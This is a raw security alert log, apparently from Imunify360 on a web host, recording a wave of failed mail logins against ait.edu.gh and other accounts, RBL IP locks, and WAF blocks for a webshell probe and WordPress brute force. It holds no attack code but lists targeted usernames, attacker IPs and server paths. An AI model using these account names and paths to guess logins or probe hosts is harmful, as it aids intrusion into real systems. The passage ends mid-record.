Feb  7 17:14:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.93.87.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.93.87.71
country_id: 1694008
description:
2025-02-07 17:14:40 dovecot_plain authenticator failed for ([119.93.87.71]) [119.93.87.71]:3158: 535 Incorrect authentication data (set_id=abs22a00002y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.21.240.186
country_id: 2017370
description:
2025-02-07 17:14:47 dovecot_plain authenticator failed for ([46.21.240.186]) [46.21.240.186]:49416: 535 Incorrect authentication data (set_id=larm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.215.199.37
country_id: 1819730
description:
2025-02-07 17:15:04 dovecot_plain authenticator failed for ([125.215.199.37]) [125.215.199.37]:51291: 535 Incorrect authentication data (set_id=ofei)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.124.127.56
country_id: 6252001
description:
Feb  7 17:15:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.124.127.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.90.195.68
country_id: 953987
description:
2025-02-07 17:14:27 dovecot_plain authenticator failed for (197-90-195-68.dyn.mweb.co.za) [197.90.195.68]:38780: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.26.178.196
country_id: 6252001
description:
Feb  7 17:14:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.26.178.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.26.178.196
country_id: 6252001
description:
2025-02-07 17:14:38 dovecot_plain authenticator failed for (cust-72-26-178-196.wireless.t6b.com) [72.26.178.196]:60940: 535 Incorrect authentication data (set_id=larm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.21.240.186
country_id: 2017370
description:
Feb  7 17:14:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.21.240.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.180.193.176
country_id: 6252001
description:
2025-02-07 17:14:50 dovecot_plain authenticator failed for wsip-184-180-193-176.tu.ok.cox.net [184.180.193.176]:53439: 535 Incorrect authentication data (set_id=ofei@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.233.123
country_id: 1269750
description:
2025-02-07 17:14:33 dovecot_plain authenticator failed for ([103.146.233.123]) [103.146.233.123]:52590: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.231.31.86
country_id: 2017370
description:
2025-02-07 17:14:37 dovecot_plain authenticator failed for (aucochess) [62.231.31.86]:55340: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.180.193.176
country_id: 6252001
description:
Feb  7 17:14:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.180.193.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.145.142.243
country_id: 1269750
description:
Feb  7 17:15:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.145.142.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.140.39.128
country_id: 6252001
description:
Feb  7 17:16:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.140.39.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.55.85.202
country_id: 337996
description:
Feb  7 17:16:20 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.55.85.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.213.34.22
country_id: 298795
description:
2025-02-07 17:15:30 dovecot_login authenticator failed for (ADMIN) [188.213.34.22]:44282: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.106
country_id: 1668284
description:
Feb  7 17:16:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.106
country_id: 1668284
description:
2025-02-07 17:16:13 dovecot_plain authenticator failed for 111-70-49-106.emome-ip.hinet.net [111.70.49.106]:35192: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.140.39.128
country_id: 6252001
description:
2025-02-07 17:16:20 dovecot_plain authenticator failed for ([158.140.39.128]) [158.140.39.128]:46384: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.213.34.22
country_id: 298795
description:
Feb  7 17:15:28 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.213.34.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.145.142.243
country_id: 1269750
description:
2025-02-07 17:15:40 dovecot_plain authenticator failed for ([203.145.142.243]) [203.145.142.243]:60224: 535 Incorrect authentication data (set_id=ads89b99891y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.244.213.234
country_id: 1269750
description:
Feb  7 17:16:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.244.213.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.244.213.234
country_id: 1269750
description:
2025-02-07 17:16:49 dovecot_plain authenticator failed for ([115.244.213.234]) [115.244.213.234]:46924: 535 Incorrect authentication data (set_id=ads20a00130y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.72.14.152
country_id: 6252001
description:
Feb  7 17:16:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.72.14.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.231.129.154
country_id: 2413451
description:
Feb  7 17:17:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.231.129.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.200.249.162
country_id: 3469034
description:
2025-02-07 17:16:44 dovecot_plain authenticator failed for (189-56-79-105.customer.tdatabrasil.net.br) [186.200.249.162]:58288: 535 Incorrect authentication data (set_id=info@elmisa.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.72.14.152
country_id: 6252001
description:
2025-02-07 17:16:58 dovecot_plain authenticator failed for ([76.72.14.152]) [76.72.14.152]:57837: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.205.112.156
country_id: 3625428
description:
2025-02-07 17:17:10 dovecot_plain authenticator failed for (190-205-112-156.static.cantv.net) [190.205.112.156]:13234: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.230.65.37
country_id: 1880251
domain: university-publishing.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/assets/images/28c5400b0b.php||SC:/home/titlemas/public_html/university-publishing.com/assets


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.207.177.75
country_id: 1269750
description:
2025-02-07 17:16:38 dovecot_plain authenticator failed for (49.207.177.75.actcorp.in) [49.207.177.75]:42234: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.249.162
country_id: 3469034
description:
Feb  7 17:16:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.249.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.205.112.156
country_id: 3625428
description:
Feb  7 17:17:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.205.112.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.161.196.5
country_id: 99237
description:
2025-02-07 17:16:56 dovecot_plain authenticator failed for ([46.161.196.5]) [46.161.196.5]:53484: 535 Incorrect authentication data (set_id=ads20a00130y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.231.129.154
country_id: 2413451
description:
2025-02-07 17:17:13 dovecot_plain authenticator failed for ([197.231.129.154]) [197.231.129.154]:55280: 535 Incorrect authentication data (set_id=abs18a00023y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.178.176.85
country_id: 1814991
description:
Feb  7 17:16:28 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.178.176.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.178.176.85
country_id: 1814991
description:
2025-02-07 17:16:30 dovecot_plain authenticator failed for ([221.178.176.85]) [221.178.176.85]:36882: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 52.230.65.37
country_id: 1880251
domain: university-publishing.com
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:17-16.52.230.65.37||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.207.177.75
country_id: 1269750
description:
Feb  7 17:16:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.207.177.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.161.196.5
country_id: 99237
description:
Feb  7 17:16:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.161.196.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.240.58.132
country_id: 2017370
description:
Feb  7 17:17:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.240.58.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.240.58.132
country_id: 2017370
description:
2025-02-07 17:17:21 dovecot_plain authenticator failed for broadband-87-240-58-132.ip.moscow.rt.ru [87.240.58.132]:48276: 535 Incorrect authentication data (set_id=abs18a00023y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.237.237.101
country_id: 1814991
description:
2025-02-07 17:17:54 dovecot_plain authenticator failed for ([120.237.237.101]) [120.237.237.101]:45614: 535 Incorrect authentication data (set_id=ads09a99033y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.160.38.13
country_id: 2661886
description:
Feb  7 17:17:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.160.38.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.160.38.13
country_id: 2661886
description:
2025-02-07 17:17:37 dovecot_plain authenticator failed for 89-160-38-13.cust.bredband2.com [89.160.38.13]:46622: 535 Incorrect authentication data (set_id=ads09a99033y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.134
country_id: 1819730
description:
Feb  7 17:17:41 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.237.237.101
country_id: 1814991
description:
Feb  7 17:17:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.237.237.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.14.31.158
country_id: 3017382
description:
Feb  7 17:18:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.14.31.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.91.200.139
country_id: 6251999
description:
2025-02-07 17:17:39 dovecot_plain authenticator failed for 198-91-200-139.cpe.distributel.net [198.91.200.139]:46058: 535 Incorrect authentication data (set_id=ads21b00192y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.134
country_id: 1819730
description:
2025-02-07 17:17:43 dovecot_plain authenticator failed for ([121.202.152.134]) [121.202.152.134]:11526: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.11.144.206
country_id: 1814991
description:
2025-02-07 17:18:12 dovecot_plain authenticator failed for ([121.11.144.206]) [121.11.144.206]:38733: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.11.144.206
country_id: 1814991
description:
Feb  7 17:18:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.11.144.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 4.236.170.3
country_id: 6252001
description:
2025-02-07 17:17:27 dovecot_plain authenticator failed for ([4.236.170.3]) [4.236.170.3]:60902: 535 Incorrect authentication data (set_id=ads21b00192y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.91.200.139
country_id: 6251999
description:
Feb  7 17:17:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.91.200.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.14.31.158
country_id: 3017382
description:
2025-02-07 17:18:06 dovecot_plain authenticator failed for laubervilliers-657-1-93-158.w80-14.abo.wanadoo.fr (fulphird) [80.14.31.158]:57097: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.7.118.77
country_id: 1861060
description:
2025-02-07 17:18:37 dovecot_plain authenticator failed for p71078-obmd01.osaka.ocn.ne.jp [180.7.118.77]:48861: 535 Incorrect authentication data (set_id=ads21b00180y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.153.62.100
country_id: 2264397
description:
2025-02-07 17:18:36 dovecot_plain authenticator failed for a89-153-62-100.cpe.netcabo.pt (talperpte) [89.153.62.100]:44022: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.217.141.77
country_id: 6252001
description:
2025-02-07 17:18:47 dovecot_plain authenticator failed for (206-217-141-77-host.colocrossing.com) [206.217.141.77]:35068: 535 Incorrect authentication data (set_id=ads21b00180y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.97.236.1
country_id: 3469034
description:
2025-02-07 17:19:06 dovecot_plain authenticator failed for (ip-189-97-236-1.user.vivozap.com.br) [189.97.236.1]:49231: 535 Incorrect authentication data (set_id=jntsoumou@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 3.109.181.164
country_id: 1269750
domain: hostels.ait-edu.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:hostel||WPU:hostel||RSV:6.65||T:APACHE||MV:17-19.3.109.181.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.187.85
country_id: 337996
description:
Feb  7 17:19:24 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.187.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.153.62.100
country_id: 2264397
description:
Feb  7 17:18:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.153.62.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.7.118.77
country_id: 1861060
description:
Feb  7 17:18:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.7.118.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.243.37
country_id: 2017370
description:
Feb  7 17:19:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.243.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.134.243.37
country_id: 2017370
description:
2025-02-07 17:19:18 dovecot_plain authenticator failed for ([31.134.243.37]) [31.134.243.37]:53209: 535 Incorrect authentication data (set_id=jntsoumou)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 206.217.141.77
country_id: 6252001
description:
Feb  7 17:18:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 206.217.141.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.97.236.1
country_id: 3469034
description:
Feb  7 17:19:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.97.236.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.121.61.198
country_id: 3017382
description:
Feb  7 17:19:14 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.121.61.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.121.61.198
country_id: 3017382
description:
2025-02-07 17:19:16 dovecot_login authenticator failed for ip198.ip-91-121-61.eu (ADMIN) [91.121.61.198]:57400: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.2.172
country_id: 2017370
description:
Feb  7 17:19:58 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.2.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.2.172
country_id: 2017370
description:
2025-02-07 17:20:00 dovecot_plain authenticator failed for ([31.173.2.172]) [31.173.2.172]:48560: 535 Incorrect authentication data (set_id=ofei)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.196.40.59
country_id: 3469034
description:
[2025-02-07 17:20:04 +0100] info [webmaild] 131.196.40.59 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.85
country_id: 337996
description:
2025-02-07 17:19:26 dovecot_plain authenticator failed for ([196.188.187.85]) [196.188.187.85]:32882: 535 Incorrect authentication data (set_id=info@ait-ext.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.81.213.46
country_id: 1168579
description:
Feb  7 17:19:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.81.213.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.81.213.46
country_id: 1168579
description:
2025-02-07 17:19:44 dovecot_plain authenticator failed for ([203.81.213.46]) [203.81.213.46]:44136: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.177.3.82
country_id: 6252001
description:
Feb  7 17:19:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.177.3.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.177.3.82
country_id: 6252001
description:
2025-02-07 17:19:50 dovecot_plain authenticator failed for ip98-177-3-82.ph.ph.cox.net [98.177.3.82]:36535: 535 Incorrect authentication data (set_id=ofei@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.28.125.96
country_id: 6252001
description:
Feb  7 17:20:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.28.125.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.160.38.13
country_id: 2661886
description:
Feb  7 17:20:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.160.38.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.160.38.13
country_id: 2661886
description:
2025-02-07 17:20:59 dovecot_plain authenticator failed for 89-160-38-13.cust.bredband2.com [89.160.38.13]:57192: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.236.213.190
country_id: 3469034
description:
2025-02-07 17:21:01 dovecot_plain authenticator failed for 179-236-213-190.user.veloxzone.com.br [179.236.213.190]:42197: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.42.79
country_id: 1819730
description:
Feb  7 17:21:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.42.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.195.208.171
country_id: 1814991
description:
Feb  7 17:20:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.195.208.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.236.213.190
country_id: 3469034
description:
Feb  7 17:20:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.236.213.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.84.209.146
country_id: 2017370
description:
Feb  7 17:21:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.84.209.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.26.63.158
country_id: 1814991
description:
Feb  7 17:20:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.26.63.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.26.63.158
country_id: 1814991
description:
2025-02-07 17:20:33 dovecot_plain authenticator failed for ([36.26.63.158]) [36.26.63.158]:42954: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.122.139.172
country_id: 6252001
description:
Feb  7 17:20:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.122.139.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.122.139.172
country_id: 6252001
description:
2025-02-07 17:20:47 dovecot_plain authenticator failed for syn-070-122-139-172.res.spectrum.com [70.122.139.172]:54928: 535 Incorrect authentication data (set_id=abs22a00002y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.195.208.171
country_id: 1814991
description:
2025-02-07 17:20:59 dovecot_plain authenticator failed for ([221.195.72.195]) [221.195.208.171]:15254: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.158.243.50
country_id: 1814991
description:
Feb  7 17:21:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.158.243.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.158.243.50
country_id: 1814991
description:
2025-02-07 17:21:14 dovecot_plain authenticator failed for ([117.158.243.50]) [117.158.243.50]:55026: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.79
country_id: 1819730
description:
2025-02-07 17:21:19 dovecot_plain authenticator failed for 079.42.246.220.static.netvigator.com [220.246.42.79]:50925: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.28.125.96
country_id: 6252001
description:
2025-02-07 17:20:29 dovecot_plain authenticator failed for ([38.28.125.96]) [38.28.125.96]:36603: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.84.209.146
country_id: 2017370
description:
2025-02-07 17:21:23 dovecot_plain authenticator failed for ([88.84.209.146]) [88.84.209.146]:55216: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.22.68.213
country_id: 1835841
description:
2025-02-07 17:21:36 dovecot_plain authenticator failed for ([59.22.68.213]) [59.22.68.213]:38665: 535 Incorrect authentication data (set_id=bsemaha@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.48.214.96
country_id: 1814991
description:
2025-02-07 17:21:38 dovecot_plain authenticator failed for ([111.48.214.96]) [111.48.214.96]:48020: 535 Incorrect authentication data (set_id=eng19a00005y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.185
country_id: 1668284
description:
Feb  7 17:21:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.207.252.124
country_id: 2017370
description:
2025-02-07 17:21:43 dovecot_plain authenticator failed for ([31.207.252.124]) [31.207.252.124]:42462: 535 Incorrect authentication data (set_id=offei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.211.32.242
country_id: 2328926
description:
2025-02-07 17:21:49 dovecot_plain authenticator failed for ([197.211.32.242]) [197.211.32.242]:38800: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.45.216.101
country_id: 6252001
description:
Feb  7 17:21:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.45.216.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.221
country_id: 1269750
description:
2025-02-07 17:21:33 dovecot_plain authenticator failed for ([49.249.76.221]) [49.249.76.221]:48298: 535 Incorrect authentication data (set_id=ads19a00014y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.185
country_id: 1668284
description:
2025-02-07 17:21:45 dovecot_plain authenticator failed for 111-70-49-185.emome-ip.hinet.net [111.70.49.185]:45495: 535 Incorrect authentication data (set_id=assdas1@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.151.51.223
country_id: 798544
description:
Feb  7 17:21:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.151.51.223 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.237.213.248
country_id: 1814991
description:
Feb  7 17:22:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.237.213.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.237.213.248
country_id: 1814991
description:
2025-02-07 17:22:02 dovecot_plain authenticator failed for ([183.237.213.248]) [183.237.213.248]:33082: 535 Incorrect authentication data (set_id=assdas1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.149.4.102
country_id: 3469034
description:
Feb  7 17:21:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.149.4.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.237.184.58
country_id: 1814991
description:
2025-02-07 17:21:30 dovecot_plain authenticator failed for ([120.237.184.58]) [120.237.184.58]:53808: 535 Incorrect authentication data (set_id=offei@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.249.76.221
country_id: 1269750
description:
Feb  7 17:21:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.249.76.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.22.68.213
country_id: 1835841
description:
